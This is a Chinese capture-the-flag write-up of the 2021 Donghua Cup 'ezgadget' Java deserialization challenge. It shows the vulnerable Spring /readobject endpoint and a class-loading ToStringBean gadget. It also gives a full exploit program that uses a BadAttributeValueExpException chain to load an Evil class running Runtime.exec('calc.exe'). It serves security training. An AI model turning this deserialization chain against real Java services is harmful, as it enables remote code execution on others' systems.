2021 东华杯 ezgadget

IndexController类:

package com.ezgame.ctf.controller;

import com.ezgame.ctf.tools.Tools;
import java.io.ByteArrayInputStream;
import java.io.InputStream;
import java.io.ObjectInputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.beans.factory.xml.BeanDefinitionParserDelegate;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
/* loaded from: ezgadget.jar:BOOT-INF/classes/com/ezgame/ctf/controller/IndexController.class */
public class IndexController {
    @RequestMapping({"/"})
    @ResponseBody
    public String index(HttpServletRequest request, HttpServletResponse response) {
        return BeanDefinitionParserDelegate.INDEX_ATTRIBUTE;
    }

    @RequestMapping({"/readobject"})
    @ResponseBody
    public String unser(@RequestParam(name = "data", required = true) String data, Model model) throws Exception {
        byte[] b = Tools.base64Decode(data);
        InputStream inputStream = new ByteArrayInputStream(b);
        ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
        String name = objectInputStream.readUTF();
        int year = objectInputStream.readInt();
        if (name.equals("gadgets") && year == 2021) {
            objectInputStream.readObject();
            return "welcome bro.";
        }
        return "welcome bro.";
    }
}

ToStringBean类:

package com.ezgame.ctf.tools;

import java.io.Serializable;

/* loaded from: ezgadget.jar:BOOT-INF/classes/com/ezgame/ctf/tools/ToStringBean.class */
public class ToStringBean extends ClassLoader implements Serializable {
    private byte[] ClassByte;

    public String toString() {
        ToStringBean toStringBean = new ToStringBean();
        Class clazz = toStringBean.defineClass((String) null, this.ClassByte, 0, this.ClassByte.length);
        try {
            clazz.newInstance();
            return "enjoy it.";
        } catch (IllegalAccessException e) {
            e.printStackTrace();
            return "enjoy it.";
        } catch (InstantiationException e2) {
            e2.printStackTrace();
            return "enjoy it.";
        }
    }
}

通过/readobject传入base64编码的恶意序列化类,readObject调用ToStringBean类的toString方法,加载自定义恶意类,先构造恶意类evil:

import java.io.IOException;

public class Evil {
    public Evil() throws IOException {
        Runtime.getRuntime().exec("calc.exe");
    }
}

生成恶意序列化字符串,注意将ToStringBean类放在com.ezgame.ctf.tools包下:

import com.ezgame.ctf.tools.ToStringBean;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;

import javax.management.BadAttributeValueExpException;

public class Exploit {
    public static void main(String[] args) throws Exception{
        // 构造恶意类
        byte[] evilClassByte = Files.readAllBytes(Paths.get("path\\to\\Evil.class"));
        ToStringBean toStringBean = new ToStringBean();
        Field classbyteField = toStringBean.getClass().getDeclaredField("ClassByte");
        classbyteField.setAccessible(true);
        classbyteField.set(toStringBean, evilClassByte);

        // BadAttributeValueExpException.readObject -> ToStringBean.ToString -> 弹计算器
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("test");
        Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
        valField.setAccessible(true);
        valField.set(badAttributeValueExpException, toStringBean);

        // 反序列化条件 if (name.equals("gadgets") && year == 2021)
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeUTF("gadgets");
        objectOutputStream.writeInt(2021);

        // 最后序列化恶意类
        objectOutputStream.writeObject(badAttributeValueExpException);

        // 输出base64编码序列化结果
        byte[] expByte = byteArrayOutputStream.toByteArray();
        String base64ExpString = base64Encode(expByte);
        System.out.println(base64ExpString);

        // 测试
        test(base64ExpString);
    }

    public static void test(String data) throws Exception{
        byte[] b = base64Decode(data);
        InputStream inputStream = new ByteArrayInputStream(b);
        ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
        String name = objectInputStream.readUTF();
        int year = objectInputStream.readInt();
        if (name.equals("gadgets") && year == 2021) {
            objectInputStream.readObject();
            System.out.println("Yes");
        }
        System.out.println("No");

    }

    public static String base64Encode(byte[] bytes) {
        Base64.Encoder encoder = Base64.getEncoder();
        return encoder.encodeToString(bytes);
    }

    public static byte[] base64Decode(String base64) {
        Base64.Decoder decoder = Base64.getDecoder();
        return decoder.decode(base64);
    }
}

data传参base64字符串时注意要将特殊字符转义:

alt